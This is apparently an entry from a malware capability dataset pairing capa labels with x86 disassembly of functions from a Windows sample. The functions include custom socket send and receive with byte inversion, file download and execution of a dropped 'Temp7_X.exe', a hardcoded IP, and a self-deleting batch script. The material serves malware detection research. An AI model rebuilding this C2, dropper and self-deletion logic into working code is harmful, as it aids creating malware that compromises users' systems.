joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402052
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov esi, ecx
mov ebx, str.Common
push eax
push str.CreateProcess___s___s_
push ebx
mov dword [esi + 0x10], eax
call fcn.00401b17
xor edi, edi
push 0x44
lea eax, [ebp - 0x44]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0x44
push esi
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push dword [ebp + 0xc]
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4020c3
push 0x4071d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
call fcn.00401b2f
add esp, 0xc
xor eax, eax
jmp 0x4020c6
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x402118
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x402154
push str.GetTempPath
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Common
call fcn.00401b2f
add esp, 0xc
xor eax, eax
leave
ret
lea eax, [ebp - 0x104]
push eax
call fcn.00401fd4
test eax, eax
pop ecx
je 0x402150
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push 0
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4021a3
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
push str.GetTempFileName___s___s_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Common
call fcn.00401b2f
add esp, 0x14
jmp 0x402150
push dword [ebp + 0xc]
call fcn.00402210
push dword [ebp + 0xc]
call fcn.00401f74
pop ecx
pop ecx
leave
ret

Function at 0x4021b7
Capabilities:
Copy file

Disassembly:
push esi
mov esi, str.Common
push dword [esp + 8]
push str.Copy__s
push esi
call fcn.00401b17
push dword [esp + 0x18]
push str._____s
push esi
call fcn.00401b17
add esp, 0x18
push 0
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40220b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x4071d8
push eax
push esi
call fcn.00401b2f
add esp, 0xc
xor eax, eax
pop esi
ret
push 1
pop eax
pop esi
ret

Function at 0x402210
Capabilities:
Check if file exists
Delete file
Set file attributes

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov esi, str.Common
push str.Delete___s_
push esi
call fcn.00401b17
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40225f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x40225f
push 0x4071d8
push eax
push esi
call fcn.00401b2f
add esp, 0xc
xor eax, eax
jmp 0x402262
push 1
pop eax
pop edi
pop esi
ret
Function at 0x402265
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
jne 0x4022b1
cmp al, 4
ja 0x402353
lea eax, [ebp - 4]
push eax
push str.SystemCurrentControlSetControlProductOptions
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4022cb
push str.RegOpenKey__SystemCurrentControlSetControlProductOptions_
push eax
push str.Common
call fcn.00401b2f
add esp, 0xc
push dword [ebp + 0x10]
push 0x4068c4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
pop edi
leave
ret
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push str.ProductSuite
push dword [ebp - 4]
mov dword [ebp - 8], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402309
push str.RegQueryValueEx__SystemCurrentControlSetControlProductOptionsProductSuite_
push eax
push str.Common
call fcn.00401b2f
add esp, 0xc
jmp 0x402341
cmp byte [ebp - 0x108], 0
lea esi, [ebp - 0x108]
je 0x402341
push str.Terminal_Server
push esi
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
je 0x40233e
push esi
call sub.MSVCRT.dll_strlen
cmp byte [esi + eax + 1], 0
lea esi, [esi + eax + 1]
pop ecx
jne 0x402318
jmp 0x402341
push 1
pop edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop esi
je 0x4022b1
push dword [ebp + 0x10]
push str.Global_s
jmp 0x4022b9
Function at 0x4024b4
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
lea eax, [ebp - 0xc]
xor ebx, ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
lea eax, [ebp - 0x14]
push 1
push eax
mov dword [ebp - 0xc], ebx
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], bl
mov byte [ebp - 0x12], bl
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x40250e
push str.AllocateAndInitializeSid
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Main
call fcn.00401b2f
add esp, 0xc
jmp 0x4025ce
lea eax, [ebp - 8]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402543
push str.OpenProcessToken
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Main
call fcn.00401b2f
add esp, 0xc
jmp 0x4025c5
push esi
lea eax, [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push edi
push eax
push ebx
push ebx
push 1
push dword [ebp - 8]
mov dword [ebp - 4], ebx
call esi
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, eax
pop ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push 1
push dword [ebp - 8]
call esi
test eax, eax
jne 0x402592
push str.GetTokenInformation
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Main
call fcn.00401b2f
jmp 0x4025af
push dword [ebp - 0xc]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov ebx, eax
push ebx
push str.System_d
push str.Main
call fcn.00401b17
add esp, 0xc
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, ebx
pop ebx
leave
ret

Function at 0x40270d
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push edi
call fcn.00401925
test eax, eax
je 0x402789
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, str.NAIMServInst
xor edi, edi
push esi
push edi
mov dword [0x407308], eax
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
push dword [0x407308]
mov ebx, eax
lea eax, [ebp - 0x108]
push esi
push str._s_error:__d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x108]
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
cmp ebx, edi
mov dword [ebp - 4], eax
pop esi
je 0x402789
lea eax, [ebp - 8]
push edi
push eax
push edi
push 2
push edi
push edi
push edi
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push ebx
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop edi
pop ebx
leave
ret
Function at 0x4034d4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x18
push 0
push 0x408360
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.CABINET
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [0x408360], eax
je 0x4035ca
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.FCICreate
push eax
call esi
push str.FCIAddFile
mov dword [0x408364], eax
push dword [0x408360]
call esi
push str.FCIFlushCabinet
mov dword [0x408368], eax
push dword [0x408360]
call esi
push str.FCIFlushFolder
mov dword [0x40836c], eax
push dword [0x408360]
call esi
push str.FCIDestroy
mov dword [0x408370], eax
push dword [0x408360]
call esi
mov ecx, dword [0x408364]
mov dword [0x408374], eax
test ecx, ecx
je 0x4035be
cmp dword [0x408368], 0
je 0x4035be
cmp dword [0x40836c], 0
je 0x4035be
test eax, eax
je 0x4035be
push dword [ebp + 0x38]
push dword [ebp + 0x34]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call ecx
mov esi, eax
add esp, 0x34
test esi, esi
jne 0x4035ba
push dword [0x408360]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
jmp 0x4035cc
push dword [0x408360]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
pop esi
pop ebp
ret
Function at 0x4034b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
xor eax, eax
push ebx
push esi
mov dword [ebp - 4], eax
cmp dword [ecx], eax
je 0x40352c
cmp edi, eax
jle 0x4034d6
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax + ecx]
not dl
mov byte [eax + ecx], dl
inc eax
cmp eax, edi
jl 0x4034c6
lea ebx, [edi + 7]
push ebx
call fcn.0040a951
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
mov eax, dword [ebp + 0xc]
mov dword [esi + 2], ecx
mov dl, byte [0x422fb4]
push edi
push eax
lea ecx, [esi + 7]
push ecx
mov byte [esi + 6], dl
call fcn.0040e420
mov edx, dword [ebp + 8]
mov eax, dword [edx]
add esp, 0x10
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40352f
cmp eax, ebx
jne 0x40352f
mov dword [ebp - 4], 1
jmp 0x40352f
mov esi, dword [ebp + 8]
test esi, esi
je 0x40353c
push esi
call fcn.0040b25b
add esp, 4
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4036b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8e0
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, edx
xor edx, edx
push 0x7fe
mov dword [ebp - 0x8d8], eax
push edx
lea eax, [ebp - 0x8ca]
push eax
mov dword [ebp - 0x8dc], edi
mov dword [ebp - 0x8e0], ecx
mov word [ebp - 0x8cc], dx
call fcn.00411f50
add esp, 0xc
lea ebx, [ebp - 0x8cc]
mov dword [ebp - 0x8d4], ebx
test esi, esi
je 0x403716
mov dword [ebp - 0x8d4], esi
mov ebx, esi
xor ecx, ecx
mov word [ebx], cx
mov esi, dword [edi]
xor eax, eax
mov dword [ebp - 0x8d0], eax
test esi, esi
je 0x40385b
cmp dword [ebp - 0x8d8], eax
je 0x40385b
push 0xc7
push eax
lea edx, [ebp - 0xcb]
push edx
mov byte [ebp - 0xcc], al
call fcn.00411f50
add esp, 0xc
push 0
push 2
lea eax, [ebp - 0xcc]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4038a7
test eax, eax
je 0x4038a7
movzx edi, word [ebp - 0xcc]
lea ecx, [edi + 2]
push ecx
xor esi, esi
call fcn.0040a951
add esp, 4
mov ebx, eax
test edi, edi
jle 0x403848
mov ecx, dword [ebp - 0x8dc]
push 0
mov edx, edi
sub edx, esi
push edx
mov edx, dword [ecx]
lea eax, [esi + ebx]
push eax
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x403829
test eax, eax
je 0x403829
add esi, eax
cmp edi, esi
jg 0x403796
cmp esi, 5
jl 0x403848
mov ecx, dword [str.AS101]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x40388c
mov dl, byte [ebx + 4]
cmp dl, byte [0x422fb4]
jne 0x40388c
test esi, esi
jle 0x4037fb
lea eax, [ebx + 5]
mov edi, esi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
dec edi
jne 0x4037f1
mov edi, dword [ebp - 0x8e0]
mov eax, dword [edi]
cmp eax, esi
jl 0x40386c
mov eax, dword [ebp - 0x8d8]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0040e420
mov dword [edi], esi
add esp, 0xc
mov dword [ebp - 0x8d0], 1
jmp 0x403848
mov eax, dword [ebp - 0x8d4]
push 0x420560
push 0x3ff
push eax
call fcn.0040a83e
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test ebx, ebx
je 0x403855
push ebx
call fcn.0040b25b
add esp, 4
mov eax, dword [ebp - 0x8d0]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x8d8]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0040e420
add esp, 0xc
mov dword [ebp - 0x8d0], 1
jmp 0x403848
mov eax, dword [ebp - 0x8d4]
push 0x420628
push 0x3ff
push eax
call fcn.0040a83e
add esp, 0xc
jmp 0x403848
push 0x4204c8
push 0x3ff
push ebx
call fcn.0040a83e
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x8d0]
add esp, 0xc
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
Function at 0x403af0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00413d80
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebx]
mov eax, dword [ebp + 8]
push edi
xor edi, edi
push edi
push 4
lea ecx, [ebp - 0x1008]
push ecx
push edx
mov dword [ebp - 0x100c], eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x403b3c
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], edi
jbe 0x403b8e
push esi
mov ecx, dword [ebx]
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x403b8d
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
push esi
lea ecx, [ebp - 0x1004]
push 1
push ecx
call fcn.0040ac2d
add edi, esi
add esp, 0x10
mov dword [0x424640], edi
cmp edi, dword [ebp - 0x1008]
jb 0x403b45
pop esi
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
call fcn.0040ad14
mov ecx, dword [ebp - 4]
add esp, 4
cmp edi, dword [ebp - 0x1008]
pop edi
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.0040a82f
mov esp, ebp
pop ebp
ret

Function at 0x4040b0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x206
xor edi, edi
lea ecx, [ebp - 0x20a]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x20c], ax
call fcn.00411f50
add esp, 0xc
mov dword [ebp - 0x210], edi
cmp esi, edi
je 0x4041a6
cmp dword [0x422f30], 3
jne 0x404128
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x420150
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0040b2c5
add esp, 0xc
jmp 0x40413a
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfset.ini
lea edx, [ebp - 0x20c]
push 0x104
push edx
call fcn.0040b2c5
push 0x420154
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x210]
push ecx
call fcn.0040aa8f
mov eax, dword [ebp - 0x210]
add esp, 0x18
cmp eax, edi
je 0x4041a6
push eax
push 1
push 0x200
push esi
call fcn.0040bc76
mov edx, dword [ebp - 0x210]
push edx
call fcn.0040ad14
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
Function at 0x4041c0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x206
xor edi, edi
lea ecx, [ebp - 0x20a]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x20c], ax
call fcn.00411f50
add esp, 0xc
mov dword [ebp - 0x210], edi
cmp esi, edi
je 0x40427a
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0040b2c5
push 0x42015c
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.0040aa8f
mov eax, dword [ebp - 0x210]
add esp, 0x18
cmp eax, edi
je 0x40427a
push eax
push 1
push 0x200
push esi
call fcn.0040bc76
mov eax, dword [ebp - 0x210]
push eax
call fcn.0040ad14
add esp, 0x14
lea eax, [edi + 1]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.0040a82f
mov esp, ebp
pop ebp
ret

Function at 0x404340
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40436a
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
cmp dword [eax], 0x504d534d
jne 0x40435a
push 0x200
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.0040bd10
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x414]
not cl
mov byte [ebp + eax - 0x414], cl
inc eax
cmp eax, 0x200
jb 0x404390
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x212]
push eax
mov word [ebp - 0x214], dx
call fcn.00411f50
add esp, 0xc
lea ecx, [ebp - 0x214]
push ecx
push 0x104
mov dword [ebp - 0x418], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42012c
lea edx, [ebp - 0x214]
push 0x104
push edx
call fcn.0040b2c5
push 0x420148
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x418]
push ecx
call fcn.0040aa8f
mov eax, dword [ebp - 0x418]
add esp, 0x18
test eax, eax
je 0x404440
push eax
push 1
lea edx, [ebp - 0x414]
push 0x200
push edx
call fcn.0040ac2d
mov eax, dword [ebp - 0x418]
push eax
call fcn.0040ad14
add esp, 0x14
mov ecx, dword [ebp - 8]
xor ecx, ebp
mov eax, 1
call fcn.0040a82f
mov esp, ebp
pop ebp
ret

Function at 0x404460
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x4044b3
push esi
call edi
cmp eax, 0xffffffff
je 0x4044ae
test al, 1
je 0x40447e
xor eax, 1
test al, 4
je 0x404485
xor eax, 4
test al, 2
je 0x40448c
xor eax, 2
test al, 0x20
je 0x404493
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x4044b3
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
ret
Function at 0x4044d0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x108]
push eax
push 0x104
mov dword [ebp - 0x314], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._uinsey.bat
lea ecx, [ebp - 0x108]
push 0x104
push ecx
call fcn.0040c1eb
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x310]
push 0x104
push ecx
call fcn.0040b266
lea edx, [ebp - 0x310]
push 0x5c
push edx
call fcn.0040c1a0
add esp, 0x14
test eax, eax
je 0x40455c
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40465b
mov eax, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404590
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [ebp - 0x20c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4045a6
sub eax, edx
mov ecx, eax
lea eax, [ebp - 0x108]
lea esi, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4045c0
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040a951
push edi
mov esi, eax
push 0
push esi
call fcn.00411f50
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x310]
push ecx
lea edx, [ebp - 0x20c]
push edx
mov eax, edx
push eax
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
push edi
push esi
call fcn.0040c1cd
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404610
push 0
sub eax, ecx
lea ecx, [ebp - 0x314]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x404659
push esi
call fcn.0040b25b
add esp, 4
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
Function at 0x408a50
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x418
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x414], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x424c88
push 0x67
push esi
call edi
push 0x64
push 0x424bc0
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00408c40
mov eax, dword [ebp + 0x10]
mov edx, 0x425620
sub edx, eax
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x408aa0
call fcn.00401720
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
mov dword [0x422f30], eax
call edi
call fcn.00409490
test eax, eax
je 0x408adc
call fcn.004044d0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call fcn.00408cc0
add esp, 4
test eax, eax
jne 0x408aff
mov ecx, dword [esp + 0x41c]
pop edi
pop esi
xor ecx, esp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00411f50
mov eax, dword [0x425268]
add esp, 0xc
test eax, eax
je 0x408b48
cmp word [0x42526c], 0
jbe 0x408b48
push eax
mov esi, str.218.54.31.226
call fcn.004016b0
mov dx, word [0x42526c]
add esp, 4
mov word [0x422f2c], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.Temp7_X.exe
mov edx, 0x424d58
call fcn.00404670
add esp, 8
call fcn.00409f70
push 0x104
lea edx, [esp + 0x214]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.0040a8a1
lea edx, [esp + 0x218]
xor ecx, ecx
push edx
mov word [eax], cx
lea eax, [esp + 0x14]
push 0x104
push eax
call fcn.0040a83e
add esp, 0x14
push 0x41c288
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040b2c5
add esp, 0xc
push 0x424d58
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040b2c5
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x408c1d
push 0x1f4
call edi
push 1
push 0
push 0x41c28c
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
call fcn.0040a430
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]